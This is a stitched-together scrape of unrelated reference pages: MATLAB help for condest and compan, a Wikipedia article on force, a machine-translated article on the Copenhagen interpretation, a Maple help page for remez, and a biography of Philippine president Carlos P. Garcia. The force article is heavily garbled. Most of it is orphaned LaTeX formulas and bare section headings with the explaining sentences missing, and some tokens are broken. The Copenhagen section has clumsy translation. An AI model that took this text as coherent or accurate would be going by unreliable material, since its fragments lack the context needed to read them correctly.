Tocci, Ronald J. (1975). "11". Fundamentals of electronic devices (2nd ed.). Merrill. pp. 243–246. ISBN 978-0-675-08771-1. Retrieved 27 October 2011.
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1-norm condition number estimate - MATLAB condest - MathWorks Deutschland
1-norm condition number estimate
c = condest(A)
c = condest(A,t)
[c,v] = condest(A)
c = condest(A) computes a lower bound c for the 1-norm condition number of a square matrix A.
c = condest(A,t) changes t, a positive integer parameter equal to the number of columns in an underlying iteration matrix. Increasing the number of columns usually gives a better condition estimate but increases the cost. The default is t = 2, which almost always gives an estimate correct to within a factor 2.
[c,v] = condest(A) also computes a vector v which is an approximate null vector if c is large. v satisfies norm(A*v,1) = norm(A,1)*norm(v,1)/c.
condest invokes rand. If repeatable results are required then use rng to set the random number generator to its startup settings before using condest.
This function is particularly useful for sparse matrices.
condest is based on the 1-norm condition estimator of Hager [1] and a block-oriented generalization of Hager's estimator given by Higham and Tisseur [2]. The heart of the algorithm involves an iterative search to estimate
{‖{A}^{-1}‖}_{1}
without computing A−1. This is posed as the convex but nondifferentiable optimization problem
\mathrm{max}{‖{A}^{-1}x‖}_{1}
{‖x‖}_{1}=1
[1] William W. Hager, “Condition Estimates,” SIAM J. Sci. Stat. Comput. 5, 1984, 311-316, 1984.
[2] Nicholas J. Higham and Françoise Tisseur, “A Block Algorithm for Matrix 1-Norm Estimation with an Application to 1-Norm Pseudospectra, “SIAM J. Matrix Anal. Appl., Vol. 21, 1185-1201, 2000.
cond | norm | normest
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For other uses, see Force (disambiguation).
{\displaystyle {\vec {F}}}
{\displaystyle {\mathsf {L}}{\mathsf {M}}{\mathsf {T}}^{-2}}
5.2 Forces in quantum mechanics
6.3 Strong nuclear
6.4 Weak nuclear
7 Non-fundamental forces
7.6 Fictitious forces
8 Rotations and torque
9 Kinematic integrals
10.1 Conservative forces
10.2 Nonconservative forces
12 Force measurement
Pre-Newtonian conceptsEdit
{\displaystyle {\vec {F}}=m{\vec {a}}}
, he actually wrote down a different form for his second law of motion that did not use differential calculus
{\displaystyle {\vec {F}}={\frac {\mathrm {d} {\vec {p}}}{\mathrm {d} t}},}
{\displaystyle {\vec {p}}}
{\displaystyle {\vec {F}}}
is the net (vector sum) force. If a body is in equilibrium, there is zero net force by definition (balanced forces may be present nevertheless). In contrast, the second law states that if there is an unbalanced force acting on an object it will result in the object's momentum changing over time.[10]
{\displaystyle {\vec {F}}={\frac {\mathrm {d} {\vec {p}}}{\mathrm {d} t}}={\frac {\mathrm {d} \left(m{\vec {v}}\right)}{\mathrm {d} t}},}
{\displaystyle {\vec {v}}}
{\displaystyle {\vec {F}}=m{\frac {\mathrm {d} {\vec {v}}}{\mathrm {d} t}}.}
{\displaystyle {\vec {F}}=m{\vec {a}}.}
{\displaystyle {\vec {F}}_{1,2}}
{\displaystyle {\vec {F}}_{2,1}}
{\displaystyle {\vec {F}}_{1,2}=-{\vec {F}}_{2,1}.}
{\displaystyle {\vec {F}}_{1,2}}
{\displaystyle -{\vec {F}}_{2,1}}
{\displaystyle {\vec {F}}_{1,2}+{\vec {F}}_{2,1}=0.}
Combining Newton's Second and Third Laws, it is possible to show that the linear momentum of a system is conserved.[18] In a system of two particles, if
{\displaystyle {\vec {p}}_{1}}
{\displaystyle {\vec {p}}_{2}}
{\displaystyle {\frac {\mathrm {d} {\vec {p}}_{1}}{\mathrm {d} t}}+{\frac {\mathrm {d} {\vec {p}}_{2}}{\mathrm {d} t}}={\vec {F}}_{1,2}+{\vec {F}}_{2,1}=0.}
Special theory of relativityEdit
{\displaystyle {\vec {F}}={\frac {\mathrm {d} {\vec {p}}}{\mathrm {d} t}}}
{\displaystyle {\vec {p}}={\frac {m_{0}{\vec {v}}}{\sqrt {1-v^{2}/c^{2}}}},}
{\displaystyle m_{0}}
is the rest mass and
{\displaystyle c}
The relativistic expression relating force and acceleration for a particle with constant non-zero rest mass
{\displaystyle m}oving in the
{\displaystyle x}
direction is[citation needed]:
{\displaystyle {\vec {F}}=\left(\gamma ^{3}ma_{x},\gamma ma_{y},\gamma ma_{z}\right),}
{\displaystyle \gamma ={\frac {1}{\sqrt {1-v^{2}/c^{2}}}}.}
{\displaystyle \gamma ^{3}m}
{\displaystyle \gamma m}
were called longitudinal and transverse mass. Relativistic force does not produce a constant acceleration, but an ever-decreasing acceleration as the object approaches the speed of light. Note that
{\displaystyle \gamma }
approaches asymptotically an infinite value and is undefined for an object with a non-zero rest mass as it approaches the speed of light, and the theory yields no prediction at that speed.
{\displaystyle v}
{\displaystyle c}
{\displaystyle \gamma }
{\displaystyle F=ma}
{\displaystyle F^{\mu }=mA^{\mu }}
{\displaystyle F^{\mu }}
{\displaystyle m}
is the invariant mass, and
{\displaystyle A^{\mu }}
Forces in quantum mechanicsEdit
The notion "force" keeps its meaning in quantum mechanics, though one is now dealing with operators instead of classical variables and though the physics is now described by the Schrödinger equation instead of Newtonian equations. This has the consequence that the results of a measurement are now sometimes "quantized", i.e. they appear in discrete portions. This is, of course, difficult to imagine in the context of "forces". However, the potentials V(x, y, z) or fields, from which the forces generally can be derived, are treated similarly to classical position variables, i.e.,
{\displaystyle V(x,y,z)\to {\hat {V}}({\hat {x}},{\hat {y}},{\hat {z}})}
Feynman diagramsEdit
GravitationalEdit
What we now call gravity was not identified as a universal force until the work of Isaac Newton. Before Newton, the tendency for objects to fall towards the Earth was not understood to be related to the motions of celestial objects. Galileo was instrumental in describing the characteristics of falling objects by determining that the acceleration of every object in free-fall was constant and independent of the mass of the object. Today, this acceleration due to gravity towards the surface of the Earth is usually designated as
{\displaystyle {\vec {g}}}
{\displaystyle m}
{\displaystyle {\vec {F}}=m{\vec {g}}}
Newton came to realize that the effects of gravity might be observed in different ways at larger distances. In particular, Newton determined that the acceleration of the Moon around the Earth could be ascribed to the same force of gravity if the acceleration due to gravity decreased as an inverse square law. Further, Newton realized that the acceleration of a body due to gravity is proportional to the mass of the other attracting body.[29] Combining these ideas gives a formula that relates the mass (
{\displaystyle m_{\oplus }}
{\displaystyle R_{\oplus }}
{\displaystyle {\vec {g}}=-{\frac {Gm_{\oplus }}{{R_{\oplus }}^{2}}}{\hat {r}}}
{\displaystyle {\hat {r}}}
, is the unit vector directed outward from the center of the Earth.[10]
{\displaystyle G}
is used to describe the relative strength of gravity. This constant has come to be known as Newton's Universal Gravitation Constant,[30] though its value was unknown in Newton's lifetime. Not until 1798 was Henry Cavendish able to make the first measurement of
{\displaystyle G}
using a torsion balance; this was widely reported in the press as a measurement of the mass of the Earth since knowing
{\displaystyle G}
could allow one to solve for the Earth's mass given the above equation. Newton, however, realized that since all celestial bodies followed the same laws of motion, his law of gravity had to be universal. Succinctly stated, Newton's Law of Gravitation states that the force on a spherical object of mass
{\displaystyle m_{1}}
{\displaystyle m_{2}}
{\displaystyle {\vec {F}}=-{\frac {Gm_{1}m_{2}}{r^{2}}}{\hat {r}}}
{\displaystyle r}
{\displaystyle {\hat {r}}}
{\displaystyle {\vec {E}}={{\vec {F}} \over {q}}}
{\displaystyle q}
{\displaystyle B={F \over {I\ell }}}
{\displaystyle I}
{\displaystyle \ell }
is the length of hypothetical wire through which the test current flows. The magnetic field exerts a force on all magnets including, for example, those used in compasses. The fact that the Earth's magnetic field is aligned closely with the orientation of the Earth's axis causes compass magnets to become oriented because of the magnetic force pulling on the needle.
{\displaystyle {\vec {F}}=q\left({\vec {E}}+{\vec {v}}\times {\vec {B}}\right)}
{\displaystyle {\vec {F}}}
{\displaystyle q}
{\displaystyle {\vec {E}}}
{\displaystyle {\vec {v}}}
{\displaystyle {\vec {B}}}
Strong nuclearEdit
Weak nuclearEdit
Non-fundamental forcesEdit
Normal forceEdit
{\displaystyle F_{\mathrm {sf} }}
) will exactly oppose forces applied to an object parallel to a surface contact up to the limit specified by the coefficient of static friction (
{\displaystyle \mu _{\mathrm {sf} }}
{\displaystyle F_{N}}
{\displaystyle 0\leq F_{\mathrm {sf} }\leq \mu _{\mathrm {sf} }F_{\mathrm {N} }.}
{\displaystyle F_{\mathrm {kf} }}
{\displaystyle F_{\mathrm {kf} }=\mu _{\mathrm {kf} }F_{\mathrm {N} },}
{\displaystyle \mu _{\mathrm {kf} }}
is the coefficient of kinetic friction. For most surface interfaces, the coefficient of kinetic friction is less than the coefficient of static friction.
Elastic forceEdit
An elastic force acts to return a spring to its natural length. An ideal spring is taken to be massless, frictionless, unbreakable, and infinitely stretchable. Such springs exert forces that push when contracted, or pull when extended, in proportion to the displacement of the spring from its equilibrium position.[42] This linear relationship was described by Robert Hooke in 1676, for whom Hooke's law is named. If
{\displaystyle \Delta x}
{\displaystyle {\vec {F}}=-k\Delta {\vec {x}}}
{\displaystyle k}
{\displaystyle F_{d}}
{\displaystyle F_{g}}
), the object reaches a state of dynamic equilibrium at terminal velocity.
{\displaystyle {\frac {\vec {F}}{V}}=-{\vec {\nabla }}P}
{\displaystyle V}
{\displaystyle P}
is the scalar function that describes the pressure at all locations in space. Pressure gradients and differentials result in the buoyant force for fluids suspended in gravitational fields, winds in atmospheric science, and the lift associated with aerodynamics and flight.[3][4]
{\displaystyle {\vec {F}}_{\mathrm {d} }=-b{\vec {v}}}
{\displaystyle b}
{\displaystyle {\vec {v}}}
{\displaystyle \sigma ={\frac {F}{A}}}
{\displaystyle A}
is the relevant cross-sectional area for the volume for which the stress-tensor is being calculated. This formalism includes pressure terms associated with forces that act normal to the cross-sectional area (the matrix diagonals of the tensor) as well as shear terms associated with forces that act parallel to the cross-sectional area (the off-diagonal elements). The stress tensor accounts for forces that cause all strains (deformations) including also tensile stresses and compressions.[2][4]: 133–134 [36]: 38-1–38-11
Fictitious forcesEdit
Rotations and torqueEdit
{\displaystyle {\vec {F}}}
{\displaystyle {\vec {\tau }}={\vec {r}}\times {\vec {F}}}
{\displaystyle {\vec {r}}}
is the position vector of the force application point relative to the reference point.
{\displaystyle {\vec {\tau }}=I{\vec {\alpha }}}
{\displaystyle I}
is the moment of inertia of the body
{\displaystyle {\vec {\alpha }}}
{\displaystyle {\vec {\tau }}={\frac {\mathrm {d} {\vec {L}}}{\mathrm {dt} }},}
{\displaystyle {\vec {L}}}
Centripetal forceEdit
{\displaystyle {\vec {F}}=-{\frac {mv^{2}{\hat {r}}}{r}}}
{\displaystyle m}
{\displaystyle v}
{\displaystyle r}
{\displaystyle {\hat {r}}}
is the unit vector pointing in the radial direction outwards from the center. This means that the unbalanced centripetal force felt by any object is always directed toward the center of the curving path. Such forces act perpendicular to the velocity vector associated with the motion of an object, and therefore do not change the speed of the object (magnitude of the velocity), but only the direction of the velocity vector. The unbalanced force that accelerates an object can be resolved into a component that is perpendicular to the path, and one that is tangential to the path. This yields both the tangential force, which accelerates the object by either slowing it down or speeding it up, and the radial (centripetal) force, which changes its direction.[3][4]
Kinematic integralsEdit
{\displaystyle {\vec {J}}=\int _{t_{1}}^{t_{2}}{{\vec {F}}\,\mathrm {d} t},}
{\displaystyle W=\int _{{\vec {x}}_{1}}^{{\vec {x}}_{2}}{{\vec {F}}\cdot {\mathrm {d} {\vec {x}}}},}
{\displaystyle d{\vec {x}}}
{\displaystyle \mathrm {d} W={\frac {\mathrm {d} W}{\mathrm {d} {\vec {x}}}}\cdot \mathrm {d} {\vec {x}}={\vec {F}}\cdot \mathrm {d} {\vec {x}},}
{\displaystyle P={\frac {\mathrm {d} W}{\mathrm {d} t}}={\frac {\mathrm {d} W}{\mathrm {d} {\vec {x}}}}\cdot {\frac {\mathrm {d} {\vec {x}}}{\mathrm {d} t}}={\vec {F}}\cdot {\vec {v}},}
{\displaystyle {\vec {v}}=\mathrm {d} {\vec {x}}/\mathrm {d} t}
Instead of a force, often the mathematically related concept of a potential energy field can be used for convenience. For instance, the gravitational force acting upon an object can be seen as the action of the gravitational field that is present at the object's location. Restating mathematically the definition of energy (via the definition of work), a potential scalar field
{\displaystyle U({\vec {r}})}
{\displaystyle {\vec {F}}=-{\vec {\nabla }}U.}
Conservative forces include gravity, the electromagnetic force, and the spring force. Each of these forces has models that are dependent on a position often given as a radial vector
{\displaystyle {\vec {r}}}
emanating from spherically symmetric potentials.[49] Examples of this follow:
{\displaystyle {\vec {F}}_{g}=-{\frac {Gm_{1}m_{2}}{r^{2}}}{\hat {r}}}
{\displaystyle G}
{\displaystyle m_{n}}
{\displaystyle {\vec {F}}_{e}={\frac {q_{1}q_{2}}{4\pi \varepsilon _{0}r^{2}}}{\hat {r}}}
{\displaystyle \varepsilon _{0}}
is electric permittivity of free space, and
{\displaystyle q_{n}}
is the electric charge of object n.
{\displaystyle {\vec {F}}_{s}=-kr{\hat {r}}}
{\displaystyle k}
is the spring constant.[3][4]
Nonconservative forcesEdit
Force measurementEdit
Retrieved from "https://en.wikipedia.org/w/index.php?title=Force&oldid=1086912481"
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Copenhagen interpretation – Universal-Wiki
The Copenhagen interpretation, also called the Copenhagen interpretation, is an interpretation of quantum mechanics. It was formulated around 1927 by Niels Bohr and Werner Heisenberg during their collaboration in Copenhagen and is based on the Bornian probability interpretation of the wave function proposed by Max Born. Strictly speaking, it is a collective term of similar interpretations that have been differentiated over the years. Especially on John von Neumann and Paul Dirac is based the version, which is also called standard interpretation.[1]
Copenhagen interpretation in the Schrödinger’s Cat thought experiment: During radioactive decay, a branching of the state occurs. According to a random principle, however, one of the two branches collapses again immediately after the coherence between the states has decayed far enough, for example due to a measurement.
According to the Copenhagen interpretation, the probabilistic character of quantum theoretical predictions is not an expression of the imperfection of the theory, but of the principally indeterministic character of quantum physical natural processes. However, it is not unproblematic to connect non-predictability with indeterminism. It is possible that we cannot predict certain events without having to assume that these events occur indeterministically. Furthermore, this interpretation refrains from ascribing a reality in an immediate sense to the objects of the quantum-theoretic formalism, that is, especially the wave function. Instead, the objects of the formalism are interpreted merely as means for predicting the relative frequency of measurement results, which are regarded as the only elements of reality.
Quantum theory and these interpretations are thus of considerable relevance to the scientific view of the world and its concept of nature.
1 The Copenhagen Interpretation
2 Interpretation of chance in quantum physics
3 Interpretation of the formalism of quantum physics
The Copenhagen interpretation was the first completed and self-consistent interpretation of the mathematical edifice of quantum mechanics. It led to stronger philosophical discussions. The basic concept is built on the following three principles:
Indispensability of classical terms
Classical terms are also used in their usual meaning in the quantum world. Here, however, they receive regulations about their applicability. These rules include the definition limits of place and momentum, below which the terms place and momentum no longer make sense, i.e. are undefined. Classical physics is distinguished by the fact that an exact spatiotemporal representation and full compliance with the physical principle of causality are simultaneously taken as given. The exact spatiotemporal representation allows the precise location of an object at precisely determined times. The physical causality principle, given knowledge of the initial state of a physical system and knowledge of the laws of evolution at work, makes it possible to determine the time course of future system states. Classical terms are now indispensable, since quantum-physical measurements also require a measuring instrument which must be described in classical terms of time and space and which satisfies the causal principle. According to Carl Friedrich von Weizsäcker, the first condition states that we must be able to perceive the instrument at all, and the second that we must be able to draw reliable conclusions about the properties of the measured object from the perceived properties.[2]
In areas where the so-called effect is of the order of Planck’s quantum of action
{displaystyle h}
quantum effects occur. Quantum effects occur due to uncontrollable interactions between object and measuring device. Complementarity now means that spacetime representation and causality requirement cannot be fulfilled at the same time.
Holism of quantum phenomena
Niels Bohr and Werner Heisenberg, the two main founders of the Copenhagen interpretation, held relatively similar views, but differed on one point of interpretation:
Niels Bohr was of the opinion that it is in the nature of a particle to be unable to assign place and momentum to it below certain limits (which are given by the uncertainty principle), because these terms no longer make sense there. In this sense, place and momentum are no longer objective properties of a quantum object.
Werner Heisenberg, on the other hand, held the rather subjective view that we as humans (as observers) are not able (e.g., due to interference with the measuring device, due to our inability, or due to an inadequate theory) to simultaneously measure the properties of location and momentum on a quantum object with any degree of accuracy.
Interpretation of chance in quantum physics
Quantum theory does not allow exact prediction of individual events, e.g. in radioactive decay or in the diffraction of particle beams; they can only be predicted statistically. For example, when a radioactive atom emits particles is random in the mathematical sense.[3] Whether this randomness is irreducible or traceable to underlying causes has been disputed since the formulation of this theory. The Copenhagen interpretation advocates objective indeterminism.[4] However, there are also interpretations that explain quantum physical processes in a consistently deterministic way.
Albert Einstein was convinced that fundamental processes must be deterministic rather than indeterministic in nature, and considered the Copenhagen interpretation of quantum theory to be incomplete – as expressed in his saying “God does not play dice”.
Only a small fraction of physicists publish on differences between the various interpretations. One motive here may be that the essential interpretations do not differ with respect to the predictions, which is why falsifiability is excluded.
Interpretation of the formalism of quantum physics
Physical theories consist of a formalism and an associated interpretation. The formalism is realized by a mathematical symbolism, the syntax, which allows the prediction of measured quantities. These symbols can now be assigned objects of the real world and sensory experiences within the framework of an interpretation. This gives the theory a scheme of meaning, its semantics.
Classical physics is characterized by the fact that entities of reality can be assigned to its symbols without any problems. Quantum theory, however, contains formal objects whose direct mapping to reality leads to difficulties. For example, in quantum theory the location of a particle is not described by its spatial coordinates as a function of time, but by a wave function, including the possibility of sharp maxima at more than one location. According to the Copenhagen interpretation, however, this wave function does not represent the quantum object itself, but only the probability of finding the particle there when searching via a measurement. This wave function is not measurable as a whole for a single particle, because it is completely changed at the first measurement, a process which is also interpreted and called collapse of the wave function.
The Copenhagen interpretation in its original version by Niels Bohr now denies the existence of any relation between the objects of the quantum-theoretical formalism on the one hand and the “real world” on the other hand, which goes beyond its ability to predict probabilities of measurement results. Only the measured values predicted by the theory, and thus classical concepts, are assigned an immediate reality. In this sense, quantum mechanics is a non-real theory.
On the other hand, if one considers the wave function as a physical object, the Copenhagen interpretation is nonlocal. This is the case because the state vector of a quantum mechanical system is
{displaystyle |psi rangle }
(Dirac notation) simultaneously specifies the probability amplitudes everywhere (e.g
{displaystyle |psi rangle to |xrangle langle x|psi rangle }
{displaystyle |xrangle }
Are eigenfunctions of the spatial operator and thus states in a spatial measurement, and
{displaystyle langle x|psi rangle }
which are often called
{displaystyle psi ({vec {x}})}
denoted probability amplitude).
According to the Copenhagen interpretation, quantum mechanics makes no statement about the form or location of a particle between two measurements.
“The Copenhagen interpretation is often misinterpreted, both by some of its adherents and by some of its opponents, as asserting that what cannot be observed does not exist. This account is logically inaccurate. The Copenhagen view uses only the weaker statement: ‘What has been observed certainly exists; but with respect to what has not been observed we have freedom to introduce assumptions about its existence or non-existence.’ Of this freedom it then makes such use as is necessary to avoid paradoxes.”
– Carl Friedrich von Weizsäcker: The Unity of Nature . Hanser 1971, ISBN 3-446-11479-3, p. 226.[5]
This is made possible because the formalism of quantum mechanics does not include states in which a particle simultaneously has, say, a precisely determined momentum and a precisely determined location. The Copenhagen interpretation is thus ostensibly close to positivism, since it takes into account Mach’s requirement not to invent “things” behind phenomena. This conception has profound consequences for the understanding of particles “in themselves”. Particles are phenomena that appear in portions, and about whose location in measurements only probability statements are possible on the basis of the associated wave functions. This circumstance is also known as wave-particle-dualism. On the other hand, for Bohr phenomena were always phenomena on “things”, since otherwise no scientific experience was possible. This is an insight close to Kant’s transcendental philosophy, according to which the concept of object is a condition of the possibility of experience.[2]
On the other hand, the idea associated with the term “particle” according to the standards of our everyday experience, that this portion must be at a certain place at every moment and thus be a permanent part of reality as a particle, is not covered experimentally and, on the contrary, leads to contradictions with the empirical measurement results. This idea is abandoned in the Copenhagen interpretation.
Entry in Edward N. Zalta (ed.): Stanford Encyclopedia of Philosophy.Template:SEP/Maintenance/Parameter 1 and neither Parameter 2 nor Parameter 3
↑ Jochen Pade: Quantum mechanics on foot 2: Applications and extensions . Springer-Verlag, 2012, p. 225ff.
↑ a b Carl Friedrich von Weizsäcker: The Unity of Nature. Hanser, 1971, ISBN 3-446-11479-3, p. 228
↑ Gregor Schiemann: Warum Gott nicht würfelt, Einstein und die Quantenmechanik im Licht neuerer Forsch ungen. In: R. Breuniger (ed.), Bausteine zur Philosophie. Vol. 27: Einstein . 2010, p. 111 (Online [ PDF]).
↑ Gerhard Schurz: Probability . De Gruyter, 2015, p. 56 (limited preview in Google Book Search).
↑ Carl Friedrich von Weizsäcker: The Unity of Nature. Hanser, 1971, ISBN 3-446-11479-3, p. 226.
Retrieved from“https://de.wikipedia.org/w/index.php?title=Kopenhagener_Deutung&oldid=205405459”
History of the Oker in Wolfenbüttel
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Companion matrix - MATLAB compan - MathWorks France
Companion Matrix for Polynomial
A = compan(u)
A = compan(u) returns the corresponding companion matrix whose first row is -u(2:n)/u(1), where u is a vector of polynomial coefficients. The eigenvalues of compan(u) are the roots of the polynomial.
Compute the companion matrix corresponding to the polynomial
\left(x-1\right)\left(x-2\right)\left(x+3\right)={x}^{3}-7x+6
u = [1 0 -7 6];
The eigenvalues of A are the polynomial roots.
eig | poly | polyval | roots
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remez - Maple Help
Home : Support : Online Help : Mathematics : Numerical Computations : Approximations : numapprox Package : remez
Remez algorithm for minimax rational approximation
remez(w, f, a, b, m, n, crit, 'maxerror')
procedure representing a weight function w(x) > 0 on [a, b]
procedure representing the function f(x) to be approximated
numeric values specifying the interval [a, b]
Array indexed
1..m+n+2
containing an initial estimate of the critical set (i.e. the points of max/min of the error curve)
name which will be assigned the minimax norm of
w|f-r|
This is not usually invoked as a user-level routine. See numapprox[minimax] for the standard user interface to the Remez algorithm.
This procedure computes the best minimax rational approximation of degree
m,n
for a given real function f(x) on the interval [a, b] with respect to the positive weight function w(x).
Specifically, it computes the rational expression r(x) such that
\mathrm{max}\left(w\left(x\right)|f\left(x\right)-r\left(x\right)|,x∈[a,b]\right)
r\left(x\right)=\frac{p\left(x\right)}{q\left(x\right)}
with numerator of degree m and denominator of degree n.
The value returned is an operator r such that
r\left(x\right)
is the desired approximation as a quotient of polynomials in Horner (nested multiplication) form.
w\left(x\right)=\frac{1}{|f\left(x\right)|}
n=0
then the best minimax polynomial approximation of degree m is computed.
The last argument 'maxerror' must be a name and upon return, its value will be an estimate of the minimax norm specified by equation (1) above.
Various levels of user information will be displayed during the computation if infolevel[remez] is assigned values between 1 and 3.
The command with(numapprox,remez) allows the use of the abbreviated form of this command.
\mathrm{with}\left(\mathrm{numapprox}\right):
w := proc(x) 1.0 end proc:
f := proc(x) evalf(exp(x)) end proc:
\mathrm{crit}≔\mathrm{Array}\left(1..7,[0,0.10,0.25,0.50,0.75,0.90,1.0]\right):
\mathrm{remez}\left(w,f,0,1,5,0,\mathrm{crit},'\mathrm{maxerror}'\right)
\textcolor[rgb]{0,0,1}{x}\textcolor[rgb]{0,0,1}{↦}\textcolor[rgb]{0,0,1}{0.9999988700}\textcolor[rgb]{0,0,1}{+}\left(\textcolor[rgb]{0,0,1}{1.000079446}\textcolor[rgb]{0,0,1}{+}\left(\textcolor[rgb]{0,0,1}{0.4990961949}\textcolor[rgb]{0,0,1}{+}\left(\textcolor[rgb]{0,0,1}{0.1704017036}\textcolor[rgb]{0,0,1}{+}\left(\textcolor[rgb]{0,0,1}{0.03480086848}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{0.01390361442}\textcolor[rgb]{0,0,1}{\cdot }\textcolor[rgb]{0,0,1}{x}\right)\textcolor[rgb]{0,0,1}{\cdot }\textcolor[rgb]{0,0,1}{x}\right)\textcolor[rgb]{0,0,1}{\cdot }\textcolor[rgb]{0,0,1}{x}\right)\textcolor[rgb]{0,0,1}{\cdot }\textcolor[rgb]{0,0,1}{x}\right)\textcolor[rgb]{0,0,1}{\cdot }\textcolor[rgb]{0,0,1}{x}
\mathrm{maxerror}
\textcolor[rgb]{0,0,1}{1.131059045}\textcolor[rgb]{0,0,1}{×}{\textcolor[rgb]{0,0,1}{10}}^{\textcolor[rgb]{0,0,1}{-6}}
\mathrm{Digits}≔14
\textcolor[rgb]{0,0,1}{\mathrm{Digits}}\textcolor[rgb]{0,0,1}{≔}\textcolor[rgb]{0,0,1}{14}
g := proc(x) if x=0 then 1.0 else evalf(tan(x)/x) end if end proc:
\mathrm{crit}≔\mathrm{Array}\left(1..8,[0,0.05,0.15,0.30,0.48,0.63,0.73,0.78]\right):
\mathrm{remez}\left(w,g,0,\mathrm{evalf}\left(\frac{\mathrm{\pi }}{4}\right),3,3,\mathrm{crit},'\mathrm{maxerror}'\right)
\textcolor[rgb]{0,0,1}{x}\textcolor[rgb]{0,0,1}{↦}\frac{\textcolor[rgb]{0,0,1}{1.2864938726745}\textcolor[rgb]{0,0,1}{+}\left(\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{0.50393137136308}\textcolor[rgb]{0,0,1}{+}\left(\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{0.084263112185419}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{0.030873561129257}\textcolor[rgb]{0,0,1}{\cdot }\textcolor[rgb]{0,0,1}{x}\right)\textcolor[rgb]{0,0,1}{\cdot }\textcolor[rgb]{0,0,1}{x}\right)\textcolor[rgb]{0,0,1}{\cdot }\textcolor[rgb]{0,0,1}{x}}{\textcolor[rgb]{0,0,1}{1.2864938819561}\textcolor[rgb]{0,0,1}{+}\left(\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{0.50393243320449}\textcolor[rgb]{0,0,1}{+}\left(\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{0.51307429865340}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{0.19870614448995}\textcolor[rgb]{0,0,1}{\cdot }\textcolor[rgb]{0,0,1}{x}\right)\textcolor[rgb]{0,0,1}{\cdot }\textcolor[rgb]{0,0,1}{x}\right)\textcolor[rgb]{0,0,1}{\cdot }\textcolor[rgb]{0,0,1}{x}}
\mathrm{maxerror}
\textcolor[rgb]{0,0,1}{7.21510}\textcolor[rgb]{0,0,1}{×}{\textcolor[rgb]{0,0,1}{10}}^{\textcolor[rgb]{0,0,1}{-9}}
|
For the municipality in Bohol, see President Carlos P. Garcia, Bohol.
In this Philippine name, the middle name or maternal family name is Polestico and the surname or paternal family name is Garcia.
Carlos Polestico Garcia KR (November 4, 1896 – June 14, 1971) was a Filipino teacher, poet, orator, lawyer, public official, political economist, guerrilla and Commonwealth military leader who was the eighth president of the Philippines. A lawyer by profession, Garcia entered politics when he became representative of Bohol’s 3rd district in the House of Representatives. He then served as a senator from 1945 to 1953. In 1953 he was the running mate of Ramon Magsaysay in the 1953 presidential election. He then served as vice president from 1953 to 1957. After the death of Magsaysay in March 1957 he succeeded to the presidency. He won a full term in the 1957 presidential election. He ran for a second full term as president in the 1961 presidential election and was defeated by Vice President Diosdado Macapagal.
Filomeno Orbeta Caseñas
Talibon, Bohol, Captaincy General of the Philippines, Spanish Empire
Libingan ng mga Bayani, Fort Bonifacio, Taguig, Metro Manila, Philippines
Linda Garcia-Campos
Philippine Law School (National University)
5.5 Filipino First Policy
5.6 Austerity Program
5.7 Bohlen–Serrano Agreement
5.8 Creation of the International Rice Research Institute
5.9 Republic Cultural Award
Garcia was born in Talibon, Bohol, Philippines on November 4, 1896, to Policronio Garcia and Ambrosia Polestico, who were both natives of Bangued, Abra.
Garcia grew up with politics, with his father serving as a municipal mayor for four terms. He acquired his primary education in his native town Talibon, then took his secondary education in Cebu Provincial High School, now Abellana National School, both at the top of his class. Initially, he pursued his college education at Silliman University in Dumaguete City, Negros Oriental, and later studied at the Philippine Law School, then the College of Law of National University, where he earned his law degree in 1923 and later, where he was awarded the honorary degree Doctor of Humanities, Honoris Causa from the National University in 1961. He also received an honorary doctorate degree from Tokyo University in Japan.[2] He was among the top ten law students in the 1923 bar examination.[1][3]
Rather than practice law right away, he worked as a teacher for two years at Bohol Provincial High School. He became famous for his poetry in Bohol, where he earned the nickname "Prince of Visayan Poets" and the "Bard from Bohol."
Garcia entered politics in 1925, scoring an impressive victory to become representative of the third district of Bohol. He was elected for another term in 1928 and served until 1931. He was elected governor of Bohol in 1933, but served only until 1941 when he successfully ran for Senate, but he was unable to serve due to the Japanese occupation of the Philippines during the World War II. He assumed the office when Congress re-convened in 1945 after Allied liberation and the end of the war. When he resumed duties as senator after the war, he was chosen Senate majority floor leader.[4] The press consistently voted him as one of the most outstanding senators. Simultaneously, he occupied a position in the Nacionalista Party.
Garcia refused to cooperate with the Japanese during the war. He did not surrender when he was placed on the wanted list with a price on his head. He instead and took part in the guerilla activities and served as adviser in the free government organized in Bohol.[citation needed]
Vice-presidencyEdit
See also: Ramon Magsaysay § Presidency
Garcia (right) and Magsaysay (left)
Garcia was the running mate of Ramon Magsaysay in the 1953 presidential election in which both men won. He was appointed secretary of foreign affairs by President Magsaysay, and for four years served concurrently as vice-president.
As secretary of foreign affairs, he opened formal reparation negotiations in an effort to end the nine-year technical state of war between Japan and the Philippines, leading to an agreement in April 1954. During the Geneva Conference of 1954 on Korean unification and other Asian problems, Garcia, as chairman of the Philippine delegation, attacked communist promises in Asia and defended the U.S. policy in the Far East. In a speech on May 7, 1954–the day that the Viet Minh defeated French forces at the Battle of Diên Biên Phu in Vietnam– Garcia repeated the Philippine stand for nationalism and opposition to Communism.[citation needed]
Garcia acted as chairman of the eight-nation Southeast Asian Security Conference held in Manila in September 1954, which led to the development of the Southeast Asia Treaty Organization (SEATO).[5]
President Carlos Garcia
{\displaystyle \approx }
Php 189,457 million ($ 94.7 billion)
Php 224,430 million ($85.0 billion)
1 US US$ = Php 2.64
Vice President Carlos P. Garcia (right) was sworn in as president upon Magsaysay's death at the Council of State Room in the Executive Building of the Malacañan Palace complex. The oath of office was administered by Chief Justice Ricardo Parás.
At the time of President Magsaysay's sudden death on March 17, 1957, Garcia was heading the Philippine delegation to the SEATO conference then being held at Canberra, Australia.[6] Having been immediately notified of the tragedy, Vice President Garcia enplaned back for Manila. Upon his arrival, he directly repaired to Malacañang Palace to assume the duties of president. Chief Justice Ricardo Paras of the Supreme Court, was at hand to administer the oath of office, which took place at 5:56 PM on March 18, 1957. President Garcia's first actions were to declare a period of national mourning and to preside over the burial ceremonies for Magsaysay.[6]
